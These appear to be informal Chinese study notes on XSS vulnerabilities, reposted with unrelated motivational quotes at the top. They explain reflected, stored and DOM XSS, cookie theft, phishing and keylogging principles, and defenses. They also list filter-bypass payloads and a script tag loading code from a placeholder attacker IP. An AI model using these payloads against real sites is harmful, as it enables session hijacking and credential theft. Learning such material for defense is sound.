XSS - 漏洞
Posted h-hy
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了XSS - 漏洞相关的知识,希望对你有一定的参考价值。
我需要的爱就在我的心里,其他人只是让我记得那份早已存在于内心的爱,一个去谈恋爱的人就像一个水槽里面有水,这个水就是你爱自己的程度,我爱你是因为我跟你在一起我的样子,就是你把我激发起来你让我变得更好了,但是前提是我也很爱我自己
真相不重要,结果是怎样才最重要。死不死不是别人说了算的,要看你自己愿不愿意。-----大上海2012
跨站脚本漏洞概述:
跨站脚本漏洞类型及测试流程:
1、在目标站点上找到输入点,比如查询接口,留言板等;
2、输入一组 特殊字符 + 唯一识别字符,点击提交后,查看返回得源码,是否有做对应的处理;或者看提交的数据是否有被过滤掉;
3、通过搜索定位到唯一字符,结合唯一字符前后语法确认是否可以构造执行 js 的条件 (构造闭合)
4、提交构造的脚本代码(以及各种绕过姿势),看是否可以成功执行,如果成功执行则说明存在XSS漏洞;
TIPS:
1.一般查询接口容易出现反射型XSS,留言板容易出现存储型XSS
2.由于后台可能存在过滤措施,构造的 js 可能会被过滤掉,而无法生效,或者环境限制了执行(浏览器);
3.通过变化不同的 script 尝试绕过后台过滤机制;
反射型XSS(get&post)的原理分析:
从反射型的XSS (get)弹窗开始认识xss漏洞;如果表单限制了长度,有时候可以在 F12 查看元素 把长度改掉;get 的XSS漏洞利用起来是比较容易的。
存储型XSS原理分析:
存储型xss是会被存到数据库的,而反射型不会存放到数据库;危害性会更加大因为是存到到了数据库 或者 配置文件中的;
Dom型XSS原理分析:
XSS纯前端的操作,会在表单获取输入的字符;还有一个 XSS-S 这个是在 url 获取输入的字符;
XSS的危害-获取cookie 的原理
get、post;;如何获取 cookie ,攻击者搭建xss平台手机cookie;
GET型XSS利用:获取cookie,GET型的参数是在 URL 里面的
1.用户访问 XSS 页面,触发脚本,服务端返回 带恶意JS 的页面
2.用户执行脚本,发送窃取数据 cookie 给攻击者后台,
3.攻击者伪造用户登录,造成破坏
POST型XSS利用:
1.Requset伪造页面,触发表单
2.页面 JS 自动 POST 表单数据,触发XSS
3.执行 JS ,窃取cookie;;;当用户访问我们的表单后就等于攻击完成,访问表单是因为表单有恶意代码,恶意代码就是 docment.cookie 这样获取用户的cookie;这个表单帮用户请求了一个请求这个表单就是存在XSS漏洞的页面 去提交以个js恶意代码 这个恶意代码就是获取本地的 cookie 发送给我的攻击者的xss后台; ;post的这样漏洞就是要自己搭建一个表单页面自动提交页面;让用户访问;
XSS危害-XSS进行钓鱼原理
用jis写一个src访问xss后台的一个页面 页面会弹出来需要你登录才能查看,然后我们这个链接在重定向另一个代码保存刚刚的用户和密码;
<script src="http://ip/xxx/xxx/xxx/xxx.html"></script>
XSS危害-XSS获取键盘记录原理
跨域情况 端口 子域名 协议 不同都是跨域;;
跨域 - 同源策略:为了安全考虑,所有浏览器都约定了 同源策略,同源策略规定,两个不同域名之间不能使用 JS 进行交互操作;比如:x.com 域名下的 JS 并不能操作 y.com域名下的对象;
如果想要跨域操作,需要管理员进行特殊的配置;
Tips:下面这些标签跨域加载资源是不受同源策略限制的。
<script src=""> // JS,加载到本地执行
<img src=""> // 图片
<link href=""> // css
<iframe src=""> // 任意资源
如果没有同源策略 攻击者向 A 发送一个恶意链接 urlb:www.盗取你的cookie.com (这个链接嵌入很多恶意的 JS 代码)这个代码可以直接盗取你的淘宝cookie 这样子的话 不同xss 也不同其他漏洞,这样子只要发一个代码恶意JS 的代码就可以读取 cookie ,这样子的话前端就乱了,所以所有浏览器都有同源策略;
event.keyCode 方法 用来获取用户键盘的方法 然后可以调用异步POST请求发送到后台
ajxs 默认是不可以跨域的;;大概------------
header("Access-Control-Allow-Origin:*"); 加了一个这样的东西就可以了;;
XSS盲打原理:
盲打主要说的是一种场景;盲打的话 在前端显示不了的,输入后 后台保存了下来 然后在后台执行了;如果我们输入了一段恶意代码获取cookie,当后台管理员登录的时候就会获取它的cookie;
XSS的过滤和绕过
XSS输出在 hrep 和 js 中的案例分析
XSS常见防范措施
百度 OWASP 有一些相关学习的东西;;;
XSS是一种发生在 Web 前端的漏洞,所以其危害的对象也主要是前端用户。
XSS漏洞可以用来进行钓鱼攻击、前端 js 挖矿、用户 cookie 获取,甚至可以结合浏览器自身漏洞对用户进行远程控制等;
XSS大概攻击流程:略
跨站脚本漏洞常见类型:危害:存储型 > 反射型 > DOM型
反射型:交互的数据一般不会被存在在数据库里面,一次性,所见即所得,一般出现在查询类页面等;
存储型:交互得数据会被存在在数据库里面,永久性存储,一般出现在留言板,注册等页面;
DOM型:不与后台服务器产生数据交互,是一种通过DOM操作前端代码输出得时候产生得问题,一次性也属于反射型;
XSS漏洞得主要原因是程序对 输入 和 输出得控制不够严格,导致 精心构造 得脚本输入后,在输到前端时被浏览器当作有效代码解析执行从而产生危害;
XSS 绕过 - 过滤 - 转换
1.前端限制绕过,直接抓包重放,或者修改HTML 前端代码;
2.大小写,比如:<SCRIPT>aLeRT(111)</sCRIpt>
3.拼凑:<scri<script>pt>alert(111)<scri<script>pt>
4.使用注释进行干扰:<scri<!--test-->pt>alert(111)</sc<!--test-->ript>
XSS 绕过 - 过滤 - 编码
后台过滤了特殊字符,比如<script> 标签,当该标签可以被各种编码,后台不一定会过滤,当浏览器对该编码进行识别时,会翻译成正常的标签,从而执行;
使用编码时 需要注意编码在输出点是否会被正常识别和翻译;;
alert(‘xss‘) 进行URL编码 可以执行吗?
alert%28%27xss%27%29 并不会执行,因为这些属性标签并不会正常解析这些编码;;
但可以进行 HTML 编码就可以了
XSS绕过的方法有很多,取决于思路和对前端技术的掌握程度;;
<ScRipT>alert(111)</ScRipT>
<img src= x onerror="alert(aaa)">
XSS还是比较灵活的,主要看自己够不够风骚;
XSS --- htmlspecialchars 是一个 php 的函数 默认对 “ 过滤不对 ‘ guolv
XSS 常见防范措施:输入做过滤,输出做转义;
过滤::比如输入手机号,那么只允许输入手机格式的数字
转义:所有输出到前端的数据根据输出点进行转义,比如输出到 html 中进行 html 实体转义,输入到 JS 就进行 JS 转义;
XSS之hrep:a 标签 href :javascript:alert(111) 有可能有输出;href 做输出,一般 href是做超链接的,所以在输入的时候只允许 http https 才允许在这里输出;
XSS之JS :如何去构造闭合 把前面的变量闭合掉
<script>
$dd=‘x‘ </script> <script>alert(‘xss’)</script>
在中间 加入一个 </script> 去闭合前面的 <script>
如果进行了HTML实体编码,虽然解决XSS的问题,但是实体编码后,在JS里面不会进行翻译,所以在JS的输出点应该使用 \\ 对特殊字符进行转义;
学习所用;写得乱七八糟;觉得自己看回来都有点难看懂;
以上是关于XSS - 漏洞的主要内容,如果未能解决你的问题,请参考以下文章